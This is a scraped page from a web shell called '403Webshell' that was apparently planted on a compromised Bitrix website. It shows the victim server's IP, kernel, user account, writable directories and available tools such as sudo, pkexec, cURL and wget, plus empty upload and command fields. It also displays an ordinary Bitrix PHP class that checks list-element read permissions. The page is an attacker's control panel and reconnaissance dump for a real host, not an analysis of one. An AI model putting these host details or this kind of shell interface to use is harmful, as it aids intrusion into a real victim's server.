403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/lists/lib/preview/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/lists/lib/preview/element.php
<?

namespace Bitrix\Lists\Preview;

class Element
{
	public static function buildPreview($parameters)
	{
		global $APPLICATION;

		ob_start();
		$APPLICATION->IncludeComponent(
			'bitrix:lists.element.preview',
			'',
			$parameters
		);
		return ob_get_clean();
	}

	public static function checkUserReadAccess($parameters)
	{
		global $USER;

		$parameters['listId'] = (int)$parameters['listId'];
		$parameters['elementId'] = (int)$parameters['elementId'];

		if($parameters['listId'] == 0 || $parameters['elementId'] == 0)
			return false;

		$userPermission = \CListPermissions::CheckAccess(
			$USER,
			$parameters["IBLOCK_TYPE_ID"],
			$parameters['listId']
		);
		if($userPermission < 0)
		{
			return false;
		}
		else if(   $userPermission < \CListPermissions::CAN_READ
				&& !\CIBlockElementRights::UserHasRightTo($parameters['listId'], $parameters['elementId'], "element_read"))
		{
			return false;
		}

		return true;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit